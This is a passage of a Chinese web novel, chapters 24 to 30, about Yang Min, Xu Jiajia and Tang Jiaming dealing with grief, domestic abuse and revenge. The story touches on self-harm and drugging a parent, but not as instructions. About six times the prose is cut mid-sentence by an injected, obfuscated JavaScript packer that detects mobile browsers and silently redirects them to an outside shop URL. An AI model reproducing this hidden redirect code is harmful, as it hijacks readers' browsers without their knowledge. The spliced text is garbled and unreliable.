作为一个孩子，杨敏把憋了很久的怨气发泄出来以后，她就恢复了，晚上甚至睡了一个好觉。反而是她的父母，在很长的一段时间里，都是用小心翼翼，甚至是紧张的心情跟杨敏说话，仿佛她是一件珍贵的易碎品。 人们总是在问，什么是家庭的温暖，什么是父母之爱。杨敏的父母在尝试着压抑天性。他们减少了出门的次数，谢绝了所有的歌舞表演邀请。甚至有一次，父亲陪她去了书店。隔着玻璃墙，杨敏坐在书店里看书，父亲无奈而无聊守在书店外面看着人来人往。那个时刻，杨敏真实地体会到了父母之爱。她与意识到了，父亲开怀大笑的声音几乎在家里消失了。 杨敏不知如何处理这个难题：如果爱一个人的表现，是压抑自己的天性，是忽略自己的感受，是让自己消失。那么，爱的意义，到底是让人们幸福，还是让人们难受呢？ 父母之爱带给杨敏的，除了温暖，还有抛弃。 杨敏站在钢琴面前，想象着母亲拉着她的小手，一个键一个键地按着，父亲坐在一边打着拍子，一脸陶醉的模样。尽管父亲每次喊她小公主，她都是一脸嫌弃。但是，每一次当她闭上眼睛，她就坚信，她就是父亲的小公主。即便她的坚信在世人看来是一个谎言，在她的理智看来是一个笑话。但是，她仍然坚信着。这份坚信，是只属于她一个人的最后的城堡。 “佳佳，相信我，一个哪怕是打你骂你的父亲活在这个世上，也要好过没有父亲。”杨敏对徐佳佳说。 你活在这个世上，父亲这个符号所代表的，不仅仅是家庭的成员，他们更多的，是这个社会的一部分，是一种社会身份。 徐盛的葬礼之后，杨敏突然对徐佳佳说。 “佳佳，相信我，这个世界能够保护你的，其实不是父母，是你的社会身份。一个受人尊敬的父亲， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729747|189609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哪怕是一个谎言，他所能带来的好处，跟有一个家暴的父亲，一个罪犯，一个杀人犯，是天壤之别。” 徐佳佳被吓到了。“杨敏，你怎么会变成这样？” 这些年来，徐佳佳执着于自己的伤害和痛苦，责备母亲对她的痛苦无动于衷，甚至暗示杨敏是一切灾难和痛苦的始作蛹者。在她看来，杨敏隐隐成了堕落和错误的一面。 “不。佳佳，我从来都没有变过。只是你从来没有了解过我罢了。你在头破血流的时候，我一直都在学习，学习怎样去活着。安全地，不受伤害的活着。” 杨敏看到了徐佳佳的模样，深受打击的样子。 徐佳佳是个傻瓜。 是的，杨敏一直都是这样认为的。所以，她有责任继续打击这个傻瓜。这个傻瓜，总是把自己弄得遍体鳞伤，想要反抗又总是下不了决心。 楼顶上那些泛滥成灾的兔子。天真的徐佳佳，养出来的兔子又肥又懒，还不断地繁殖。好好的楼顶，变成了兔子窝。杨敏只能连着兔子窝一起送到了养殖场。 杨敏决定继续再打击一下徐佳佳。 “徐佳佳，你以为我跟一样傻吗？过了那么多年，才发现唐家明就是李庆的儿子。”杨敏淡淡地说。 24. 第 24 章 看着徐佳佳因为痛苦而备受打击的脸，杨敏觉得自己的选择是正确的。感情，还有爱情，是生活的累赘。 人们总是抱怨平淡的生活配不上独特的自己。突如其来的意外来临的时候，又在抱怨命运的不公。突如其来，没有准备的意外，总是扮演着致命一击的角色。 徐佳佳的声音都在发抖。“杨敏，你为什么要这样做？” “你呢？你也是知道的，你又为什么不告诉我？” 徐佳佳无言以对。 晚上，杨敏和徐佳佳睡在同一张床上，杨敏拉住了徐佳佳的手。徐佳佳挣扎了一下，想要摆脱。 “佳佳，谢谢你。”杨敏说。 徐佳佳愣住了，忘记了挣扎。她的手，就这样握在了杨敏的手里。 “我知道你想保护我。你总是习惯性地想要保护每一个人。事实上，妈妈不需要你的保护，我也不需要你的保护。你唯一要保护的人，是你自己。” 黑暗中，徐佳佳问出了她最关心的问题。 “唐家明，你是怎么发现的？” 是啊，杨敏是怎么发现唐家明的身份的呢？ 李兰和杨曙忠留给杨敏唯一的礼物就是对爱的恐惧。爱，父母之爱，情人之爱，带来的常常是迷失和灾难。杨敏象踩钢丝一样，在爱和恐惧之间寻找着微妙的平衡。她小心地，谨慎地审视着所有的爱，接受别人的好意，也付出同等程度的好意。不多一分也绝不少一分。拒绝所有突如其来的爱。 唐家明的爱，如同午后的阵雨，突如其来的猛烈。 杨敏和唐家明是在书店里认识的。杨敏要从书架下拿一本叫做《理想国》的书，却被另一个人捷足先登了。那个人，就是唐家明。他们两个围绕什么是正义辩论了三个小时。杨敏认为最大的幸福是正义是可能的。唐家明则认为最大的幸福是不存在的，正义是人们心中的执念，尽最大的努力，做最坏的打算。 第二天，杨敏在学校篮球场看到了正在打球的唐家明。唐家明把外套递给杨敏，让她帮忙看着。洋溢着青春的美丽的少年，闪耀着光芒。杨敏也领受到了女孩们关注的目光——那是童年时代，人们看着杨敏的出色的父母时的眼神。 莫名其妙的爱，马上引来了杨敏的警惕。唐家明对于杨敏而言，就好比她那对出色的父母，生下了一个相貌平平的孩子。父母和子女，那是没有选择。唐家明，明明有着更好的选择，例如，徐佳佳。 杨敏很想给徐佳佳一面镜子，让她看看镜子里自己。徐佳佳看着杨敏的眼神，就象看一个小偷，一个偷走了心爱之物的小偷。 “从小我就知道，好的事情从来不会发生在我的身上。好的东西从来就不会属于我。” 每年的十二月三十一号，杨敏会来到监狱，听一听李云的絮絮絮叨叨。她把探视的时间安排在一年的最后一天，因为她不愿意，是被强迫着不得不行使的义务。 “我比你妈妈小三岁。从小到大，你妈妈穿过的衣服我再穿，你妈妈穿过的鞋子我再穿，你妈妈背过的书包我再背。我什么都不缺。我只是缺少一件从头到尾只属于我自己的东西。” “十八岁的时候，隔壁的小哥哥送我一个毛绒玩具。我以为他是喜欢我的。他只想从我这里打探姐姐的爱好。” 突然的，李云的脸贴在玻璃上面，她的脸被压扁了，鼻子也歪成一个可笑的形状，唯有眼睛瞪得大大的，眼珠仿佛随时能从眼眶里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729748|189609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跳出来一样。 “杨敏，你说，我应不应该恨一恨你的妈妈呢？” 李云问了杨敏这样一个问题。 “佳佳，你希望唐家明是喜欢你的吗？”杨敏问徐佳佳。 徐佳佳无法回答这个问题。她既害怕伤害杨敏，也怕伤害了自己。 “如果唐家明喜欢的是你，但是他选择跟我在一起。你会恨我，还是会恨唐家明？”杨敏又问了另一个问题。 徐佳佳无法继续保持平静。 “唐家明已经走了。”徐佳佳说。 “对于你来说，是的。唐家明走了。但是，他给我写信了。他把选择权交给了我。他说，他把未来交给我来决定。” 徐佳佳把手从杨敏的手里抽出来。很久以后，她问杨敏。 “你打算怎么决定唐家明的未来？” “佳佳，大学毕业之后，你打算做什么？” “我不知道。”徐佳佳一阵茫然。 杨敏说：“我已经打算好了。大学毕业以后，我会回家。工作也安排好了。妈妈，你的妈妈，我的妈妈呆过的学校会给我一份工作。我妈妈的人脉，我爸爸，我是说，我的两个爸爸，你的爸爸和我的爸爸的良好的声誉，我会是他们的重点培养对象。最多十年，没有意外的话，我会按部就班，一步一步提升成为学校的校长，成为一个备受尊敬的人。” “佳佳，如果我让唐家明呆在我的身边。他可以在学校担任体育老师。他的篮球打得真好。学生们肯定会非常喜欢他。我跟他结婚。他是一个富有正义感的善良的好人。只要他还想继续做一个好人，他就会一辈子对我好。一辈子不会背叛我。正义，善良，好人，是唐家明的执念。” 25. 第 25 章 “杨敏，你不觉得，你的决定对唐家明太残忍了吗？你把唐家明当什么了？” “徐佳佳，这就是你跟我最大的区别。你认为的残忍，对于唐家明而言，是他这一生唯一的机会。” 这一句，徐佳佳没有反驳。 “佳佳，我知道你不开心。不，你应该是在生气。” 杨敏试图再次去拉徐佳佳的手。 徐佳佳猛地甩开了她。“不要碰我！” 徐佳佳的反应，是在杨敏预料之内的。所以，她一点儿也不生气，反倒是微笑着。 “佳佳，如果生气有用。我也很想生气。生气能让我的爸爸妈妈活着吗？生气能让你的爸爸不打你吗？生气，能让妈妈躲开爸爸的虐待吗？” 杨敏的话提醒了徐佳佳。那种迂回的不动声色的解决方式，不是母亲的行事风格。 “接受住家的补习生，把家变成补习学校。是你的主意？” “爸爸把面子看得比生命还重。家里有外人的时候，他会很努力地做一个体面的好人。你哭你闹你反抗，但是你从来都不知道，他的手一直在发抖。他不能开车很多年了。” 徐佳佳惊讶了。 “爸爸，不是每天都去上班吗？” “他只是假装去上班。事实上，他已经被公交公司辞退了。不。他们用了一种更加委婉的方式，叫做主动辞职。徐佳佳，当你在绝望中挣扎的时候，你有没有想过，让你绝望的根源，同样的，也陷入了绝望的深渊。” “徐佳佳，唐家明从来没有伤害过你。不是吗。除了没有接受你的爱情。你为什么要逼他呢？逼他承认自己是李庆的儿子。佳佳，你真的是一个傻瓜。如果唐家明跟他父亲是同类人呢？你把他逼到绝境，他要是伤害你，你怎么办？” 徐佳佳不服气。“杨敏，我没你那么狡猾。” “这不是狡猾，这是生存的智慧。” “你呢？你就不怕有一天唐家明会伤害你吗？” “说实话吗？” “当然。” “是的。我也害怕。一辈子那么长，意外那么多，我们熟悉的人，我们的亲人，一起走着走着，有的死了，有的面目全非。” “那你还坚持跟他在一起？远离他不是更好吗？更符合你的生存智慧吗？” “这就是我的痛苦了。徐佳佳。这一辈子，我想平平安安地活着，有家，有亲人，有稳定的工作。但是，那样的生活，又让我窒息。把唐家明留在身边，看着一个不爱我的男人，努力地爱上我，做一个好人，完成与生俱来的生命的救赎。会是一件非常有意思的事。佳佳，你喂过流浪猫吗？饿得奄奄一息的流浪猫，你每天去看他，抚摸他，把他喂饱，是不是觉得自己特别善良。生病的流浪狗，你抱着他们，把他们送到宠物医院，看着医生给他们洗澡，治病，从一只肮脏的丑陋的伤痕累累的流浪狗，变成一只健康的活泼可爱的宠物狗，是不是特别有成就感。佳佳，唐家明对于我而言，也许，就是那只宠物狗，我把他捡回家养着，他是我家庭里的一员，是我最重要的亲人。也许有一天，他生气了，或者夏天太热了，他或者是故意， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729749|189609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 或者是不小心咬了一口。又怎么样呢。毕竟，快乐，还有满足，我都拥有过，我们活着，不就是在追求这些吗。” 第二天天没亮。徐佳佳一个人回了学校，扔下了杨敏。尽管杨敏和徐佳佳的回程车票，是同一趟火车，座位也是相邻的。杨敏身边的座位，一直都是空着的。 跟徐佳佳谈论徐盛的绝望，确定无疑是一个让徐佳佳厌恶的话题。徐盛死了，袁小宜的精神已经垮掉了，她更多的是需要女儿的照顾而不是由她来照顾女儿。杨敏意识到她费劲心力建造起来的第二个家，正在分崩离析。杨敏有着最深的恐惧，会不会有那么一天，她被监禁在自己的城堡里，就象李云一样，被世人遗忘。 杨敏在学校碰到了徐佳佳。是啊，她们在同一个学校，时不时遇到是必然的事。徐佳佳看着杨敏的眼神，仿佛某种致命的恶毒的传染病。 杨敏隔着厚厚的玻璃看着李云，看着李云的脸上流露出快乐的笑容。她仍然憎恶着李云，她的道德良知不允许她原谅李云那样杀害自己孩子的罪犯。但是，她看到李云的笑容，又会觉得，这个世上，少一个绝望的人，哪怕这个人是判了无期徒刑的杀人犯，也是好的。 “你上次说，只会在每年的最后一天来看我。”李云说。 “最近闲得无聊，顺便过来看看你。” “杨敏，你是不是一个朋友也没有？”李云突然说了一句话。 杨敏生气了。 李云还不罢休，哈哈大笑。“如果你还有朋友，又怎么会有时间来监狱看我这个囚犯呢！” 26. 第 26 章 杨敏强迫自己看着李云的笑容。她一遍又一遍地告诉自己，这是她母亲的妹妹，是她在这世上唯一的亲人。她必须压抑内心深处的冲动：你为什么要来见她呢？如果不是有一层玻璃隔着，你应该把那根电话线扯下来，缠住她的脖子，让她的笑容立刻，马上消失。她不是应该跪在地上，哭诉自己生不如死的悲惨，请求他人的怜悯和同情吗？ 她必须要做点什么，驱赶那些盘旋在内心的愤怒和邪恶。 杨敏在拿到大学毕业证的第二天，找到了唐家明。 唐家明在医院当护工。他给手术病人换尿袋，再跪着把地板擦干净。病人的家属还在一旁指挥指点，哪里做得不对，哪个地方擦得还不够干净。 离开了大学校园，离开了篮球场，换上洗得发白的工作服。唐家明不再是神采飞扬，青春正好，成了一个局促不安的劳务工人。 “唐家明，我们结婚吧。”杨敏说。 “杨敏，我不明白。你怎么突然提出这样的要求？” “你怎么会不明白呢？你在所有人面前，占据了杨敏的男朋友这个身份。前几天，妈妈问我，问我我的男朋友去哪儿了？你让我怎么回答？告诉妈妈，你是李庆的儿子，吓得躲起来了？” “我是说，你为什么要来找我？” “你希望我来找你。不是吗？” “我的希望是一回事。但是，你应该恨我才对。” “你希望我恨我吗？”杨敏问。 “如果我恨你，你是不是会觉得心里舒服一些？”杨敏又问。 “我为什么要让你心里舒服呢？”杨敏再问。 唐家明无言以对。 唐家明无可奈何。“杨敏，你到底想做什么？” “我不知道。”杨敏实话实说。“对于穷人来说，筹备婚礼，装修新房是最繁琐，最累人的工作。唐家明，我需要这个过程，这个过程能让我精疲力竭，能让我恨不能时时刻刻对你破口大骂，又能让我觉得这日子其实还是有一点希望的。。” “杨敏，你在发抖。” 唐家明拉起杨敏的手腕，熟练地卷起袖子，看到手腕上的伤口。陈旧的伤口之外，有两条是最新的。 “你答应过我，不再伤害自己的。” “可是我也答应过我自己，不要让我的愤怒伤害到别人。” 探视过李云之后，杨敏总有一种恐惧，恐惧自己被恶意征服。杨敏的记忆里 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“唐家明，你是李庆的儿子，我很高兴你找到了我，让我认识了你。如果你活得比我更加挣扎，更加痛苦，我的痛苦和挣扎就不再孤单。唐家明，你愿意陪着我吗？” 27. 第 27 章 我们无法区分哪一件事更加令人绝望：是象徐佳佳一样有一个家暴的父亲，一个软弱的母亲，还是象杨敏一样失去了父母。 那个时候，杨敏特别害怕有人对她好。有人对她越好，她越是觉得那些好，是以父母的死亡为代价换来的。同样的，她也害怕有人对她不好。有人对她不好，她就觉得如果父母还在，又怎么会有人敢欺负她。她对那些能令人激动的事情，例如穿一件新衣服，努力学习考一个好成绩，全部都失去兴趣。父母都不在了，没有人为她高兴为她激动了。她的努力又有何用呢？她并不是特别地思念母亲，因为最后那几年，母亲总是在不停地念叨父亲。是的，母亲陷入了失去父亲的痛苦，一直到死，也没有能够走出来。杨敏陷入了恐惧。她会不会象母亲一样，一生一世，也走不出失去至亲的痛苦。 杨敏盯着自己的手腕。如果，如果鲜血从这里一点一点地流失，那么，恐惧，还有痛苦，是不是也会随之而去。 这样的念头一冒出来，杨敏就后悔了。因为她知道，这是对父母之爱的背叛。 当她看到徐盛用厌恶的眼神打量着徐佳佳，用卑微的小心翼翼的行为讨好自己的时候。她就在想，她可以把这个家抢过来。她可以让徐盛，让这个家变得更好。她知道这样的念头是不道德的。但是，她控制不住她自己。 她非常清楚地记得，徐佳佳是怎样离开的。 徐佳佳有个家里人都知道的秘密：喜欢把东西藏在床底下，例如一点点的零用钱，一本爱情小说，一双皮鞋，还有离家出走需要携带的行李。 作为母亲，袁小宜无法接受佳佳的离开。她泪流满面，快要疯了。 “阿姨，你一定要让佳佳走。” “小敏。佳佳是我的女儿啊。她是我的亲生女儿啊。她还那么小。” “阿姨，你能控制叔叔吗？控制叔叔不再对佳佳使用暴力吗？” 袁小宜沉默了。她对杨敏后来所做的一切，都保持了沉默。 杨敏去药店买了安眠药，看着徐盛服下，入睡，哪怕是打雷也吵不醒。她把家里所有的现金放进了徐盛的钱包。袁小宜还想多放一点。杨敏制止了她。 “放得多了，佳佳会怀疑的。”杨敏说。 杨敏站在窗口，袁小宜站在楼道口，看着徐佳佳离开的背影。袁小宜哭了，哭得伤心极了。窗户玻璃上映出杨敏模糊不清的脸，令人惊讶的是，那是一张伤心的脸。她居然会为徐佳佳的离开伤心。人类的感情，真是一件不可思议的事情。也许，她并没有为做坏事做好全部的准备。 事实上，不能否认的，她无数地想象过，计划过抢走徐佳佳的父母，夺去徐佳佳在家里的位置。她甚至幻想过，她的名字不叫杨敏，她才是徐佳佳，是徐盛和袁小宜的女儿，父母双全。那个叫杨敏的，父母双亡，不讨人喜欢的孩子，是隔壁家的孩子。 很长一段时间，杨敏都不敢照镜子，她害怕看到镜子里的自己。但是，不能否认的是，那一段时间，她从未如此真实地感受到自己还活在这个世上。她改了口，不再称呼徐盛和袁小宜叔叔阿姨，她喊她们爸爸妈妈。一开始，他们不习惯。可是她知道，他们不会拒绝她。就象是李兰和杨曙忠，作为深 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729751|189609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爱着自己孩子的父母，总是会牺牲自己的喜爱，成全孩子们的爱好。她穿上新衣服，在袁小宜面前转一个圈，问好不好看。袁小宜犹豫了片刻说好看，徐盛也笑了。他们仿佛快乐满足的一家三口。这是杨敏蓄谋已久，憧憬已久的家人和幸福。 “你有家人。袁小宜不是你的家人吗？”唐家明说。 “袁小宜和徐盛，他们是不一样的人。徐盛，他是个疯子。袁小宜，徐佳佳，她们都是正常人。只要是正常人，或迟或早，都会意识到血缘至亲才是最重要的。” “徐盛的葬礼上，徐佳佳看到了那个警察，当年她最无助最痛苦的时候，想要寻求帮助的那个警察。差一点，只差一点点，徐佳佳就要说出真相了。” “不是你阻止了她吗？”唐家明说。 “葬礼，你也去了？” “是啊。不管怎么说，也是我父亲造的孽。” “是啊。是我过去拉了徐佳佳一把。但是，如果徐佳佳的意志足够坚定，我有阻止她的能力吗？能阻止徐佳佳的，只有一个理由，就是在徐佳佳的心里，徐盛，还是她的父亲。那些令人恶心的生存之道，徐佳佳想听，我就说给她听。就当是我偷走了她的家人这么多年的回报吧。徐盛，袁小宜，徐佳佳，他们才是真正的一家人。我呢，不过是一个可怜又令人厌恶的小偷罢了。偷来的东西早晚有一天都是要还回去了。所以，这一次，我不偷了。我要有自己有家。” 杨敏并不关心她和唐家明之间有没有爱情。爱情对于他们来说，都是触不可及的奢侈品。她想要建立的是一个家，她想要的是家人。 28. 第 28 章 杨敏的提议，对于唐家明来说，是无法拒绝的诱惑，一条成就好人的路。 在这个不恰当的时候，唐家明想起了徐佳佳，那个气急败坏的女孩。她总是在做一些奇怪的事，例如说，养了一窝对她不屑一顾的肥兔子。她的头发总是乱糟糟的。还有，她从来都不会好好照顾自己，别人家的一日三餐，对于徐佳佳来说，是饿了有什么吃什么。 不知道徐佳佳现在有没有好好吃饱？ 占据唐家明大脑的，居然是这么一个荒谬的问题。 唐家明笑了。“好的，我们一起试试吧。” 唐家明伸出右手，把杨敏拉进怀里，她的头靠在他的肩上，他的胳膊抱住了她的身体。随后的几个星期，唐家明带了礼物去见了袁小宜。杨敏介绍唐家明，我的男朋友。 袁小宜做了一桌好菜，热情地款待了唐家明。饭桌上，问了他很多问题。 “你家住哪儿的？” “离得不远，两三站路就到了。” “你父母还好吧？” 唐家明犹豫了一下，看了看杨敏。 这个问题，是杨敏回答的。“家明的爸爸很多年前就去世了。他家里就他跟他妈妈两个人。他妈妈人很好的。” “你妈妈，身体还好吧？” “还行吧。血压偏高，其他还好。” “那就好。那就好。家明啊，我听杨敏说，你，还有佳佳，上的是同一所大学？” “是啊。” “杨敏说，你是学医的。本硕连读要读七年，不容易啊。” 杨敏想要的是婚姻，在婚姻的世界里，人们总是会提醒年轻人爱情之外的很多事情。例如家庭，例如事业。例如学业。 袁小宜并不反对杨敏跟唐家明在一起，但是，她也提了一个要求。 “唐家明必须重新回学校，拿到硕士文凭。” “他现在的工作挺好的。再说，他妈妈现在身体不好，需要他的照顾。” “家明的妈妈身体不好。对了，你有没有问家明，他妈妈有没有医保。对啦，家明的爸爸去世了，是什么原因啊？是意外还是生病啊。如果是生病的话，得好好查查，会不会遗传。健康很重要。对了对了，还有，你跟家明结婚，他妈妈是不是跟你们住一起啊。相见好同住难。小敏啊。按理说，家明跟他妈妈相依为命。这话吧说了不厚道。但是，你是我女儿。我得替你着想。你这样，要是家明一定坚持要跟他妈妈住一起，你不能马上就答应。要想办法拖一拖，拖一年。不行，你年轻不懂事没经验，这个恶人我来做。哪天有时间，小敏啊，你来约，我跟家明的妈妈见个面。先打听打听。” 袁小宜在房子里走来走去，又是着急又是帮着拿主意。 杨敏默默地听着。一开始，杨敏是隐隐有些怨气的，觉得袁小宜自私，庸俗，管得太宽了。 她差点说出一句话来。“我又不是徐佳佳，你管这么多做什么？” 话到嘴边，突然间，杨敏笑了。这，难道不是她是日思夜想的普通的，无聊的，甚至庸俗的生活吗？ 我们想要品德高尚的家人吗？ 问题在于，我们非常清醒地知道，这个世界是有无私和自私，道德和不道德的。我们的大脑自动地把黑和白划分出了界线。如果我们在努力做一个好人，我们会严格要求自己，控制住那些自私的，不道德的欲望和行为。我们常常焦虑并且害怕自己失去控制。 控制，太过艰难了。当我们出生的时候，没有味觉，感受不到酸甜苦辣 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杨敏常常在想，徐盛直到死也不敢看徐佳佳一眼，到底是绝对的冷淡，还是不敢面对？ “如果我有一个女儿，我希望全世界所有的好东西都是属于我的女儿的。”杨敏对唐家明说。 “你想要属于徐佳佳的房子吗？小敏，你说实话。” “你都说了，是徐佳佳的房子，不是我的房子。唐家明，如果一开始，你有勇气拒绝我，承认你爱的人是徐佳佳。我会把你还给徐佳佳。唐家明，我真的对你很失望。这就是我的实话。” “你骗我？你说的那些都是骗我的？”唐家明愣住了。 29. 第 29 章 “我的爸爸死了。我的妈妈也死了。我的家人都死了。徐盛因为我爸爸的死，陷入了一辈子也解不开的死结。我想要的公平还有善良，这一辈子都不可能得到。我在警察局偷看过李庆的户籍记录。我一直都知道，李庆有个儿子叫李家明，后来改成了唐家明。” “我的脑子里有无数疯狂的恶毒的想法，唐家明，每一个想法都是关于你的，都是关于用什么办法毁灭你，把你撕成碎片。每当我想到这些的时候，我的心情就会很好，我会觉得生活充满了希望。我不断地放纵着那些思想，因为仅存的那一点点理智在告诉我，没关系的，尽情地放纵吧，享受吧，因为你这一辈子，都不可能找到唐家明！” “唐家明，你不该来找我！” 杨敏的思绪回到了很久以前的中学校园，那个篮球场上，那个品学兼优，有着讨人喜欢外表的少年，羞涩地提出了一个请求。 “能不能帮我拿一下衣服？” 在恋爱还是被禁止的年龄，少男少女们总是会发明各种各校的暗示来表达心迹。例如课堂上的小纸条，藏在书本后面的眼神，以及，运动场上的衣服。 “唐家明！快点！”那个瞬间，有人喊了一声。 运动场上的同学们在跳着笑着嚷嚷着，那些嘈杂喧嚣的声音如同巨雷一样在杨敏耳边回荡。一道闪电，把她的脑子劈成一片空白，她有一种冲动，她想冲进篮球场，把唐家明撕成碎片。她的嘴里有血腥的味道。她死死地咬住牙齿，嘴唇都被咬破了，她却毫不知情。 这是老天在可怜她，这是老天给她的机会吗？ “为什么，为什么这么多年你一直都不揭穿我？”唐家明的整个身体都在颤抖。 “因为最好的办法，我一直都没有想到。用哪个办法毁了你，你是最痛苦的那一个，我是从此以后都没有了痛苦的那一个。” “杨敏，我父亲，李庆他，他对不住你。不管你怎么对付我......” 唐家明的话没说完，突然间，杨敏爆发了，她冲上去——这个动作在她的大脑里演练过无数遍——把唐家明推倒在地。 “唐家明，我看不起你。我一直都看不起你。你以为，仅仅就因为你是李庆的儿子吗？不对，你真的是李庆的儿子。” 这一句话，唐家明听懂了，也彻底击溃了了他。 这才是真正的杨敏吗？受过伤害最深的人才能掌握的一门技巧，怎么样去伤害别人。 “你不愧是李庆的儿子。李庆把自己的生活过得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729753|189609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一塌糊涂，就要毁掉别人的幸福。你呢，你的父亲是杀人犯，你抬不起头来，你的人生痛苦了，你要做个好人，你的问题你自己解决不了，全世界那么多人你不去招惹，你来招惹我和徐佳佳。你把我们当什么了！” 杨敏忍无可忍，她扬起手，狠狠地打了唐家明一记耳光。 阳光给这个世界带来了白天，人们穿上衣服，标志着秩序之旅的开始。人们的本质果真是善良而真诚的正义吗？不，人们更多的是渴望别人的善良和真诚。他们清醒地知道，如果他们不能真诚而善良地对待别人，等待他们的，必然是残酷而悲惨的结局。 黑夜降临，极致的复仇和极致的快感，放纵他们，在思想的海洋里放纵他们，让他们失去控制，是隐藏在衣冠楚楚后面的另一个更加真实，更加丑陋，更加无拘无束的自我。 对于杨敏而言，同时拥有白天和黑夜，周而复始地在白天和黑夜之间转换，循环，她能看到更加真实的自我——她不是好人。即便如此，她仍然渴望这世界的善良和真诚。 “唐家明，你给我记住，这一记耳光，我是替徐佳佳打的。至于我的报复，我的报复就是，你会成为唯一一个最痛苦，最后悔的那个人，很快，你就知道了。”杨敏说。 30. 第 30 章 是的，很快，唐家明就知道了杨敏的报复。他回家，先是被母亲打了一记耳光。唐家明长到二十多岁，母亲第一次打他。母亲骂他的话，也说得很重。 “你怎么能这样！你怎么能跟你父亲一样，无情无义没有良心。杨敏是多好的姑娘啊！你怎么能对不住人家。” 唐家明的心抽了一下，似乎有一种力量，拉着他的心脏不断地向下沉，向下沉，无穷无尽，无边黑暗。他的人生其实一直只有一个目标，就是努力地，费尽心机地，活成跟他父亲完完全全不一样的人。母亲是他最亲近的人，来自母亲的评价，也可能就是最接近真相的。 唐家明拿着父亲的照片，看着镜子里的自己。眉毛，眼睛，鼻子，他看到了那张脸，父亲的脸。理智的声音在说，那是遗传，那是基因，感情的声音却在嘲笑，那是人类的无能为力。唐家明强迫自己看了很久。他从来没有看清过父亲的脸。他只是恨，恨得咬牙切齿，诅咒父亲那张脸在这个世界上完全彻底地消失。 然后，他被医院解雇了。领导是个老好人，拍着他的肩膀说，家明啊，你爸爸去世得早，你妈身体不好。我知道你照顾你妈不容易，但是再不容易，也不能骗人家女大学生啊。杨敏是多么好的女孩啊。我们这个小地方，谁不知道杨敏的父亲啊，那可是大英雄啊。你啊，真是身在福中不知福。这么好的女孩喜欢你，你还不知道珍惜。 唐家明想为自己辩解几句，他张了张嘴，却是一句话也说不出来。他能说什么呢？真相吗？真相就是他是李庆的儿子。 门卫大妈的表达方式却是简单明了得多了。唐家明从单身宿舍搬出来的时候，门卫大妈把他的行李翻了个底朝天，大有一种查也查出个小偷来的架势。 唐家明在医院的门口看到了徐佳佳和杨敏。杨敏拉着徐佳佳，说着，算了算了，佳佳，我们回家吧。 唐家明愣住了，他看到了徐佳佳前所未有的愤怒。 “佳佳？你怎么来了？” “唐家明，你怎么能这样！你怎么能这样！” 徐佳佳根本不听唐家明说话，狠狠地给了唐家明一记耳光。她的愤怒是真实的，她用痛苦成全了杨敏和唐家明，但是万万没有想到，唐家明，不仅是个骗子，而且不是一个合格的骗子。 “唐家明，你为什么要骗我！你说过的，你会对杨敏好的，你会一辈子对她好的。你既然要当骗子，你为什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 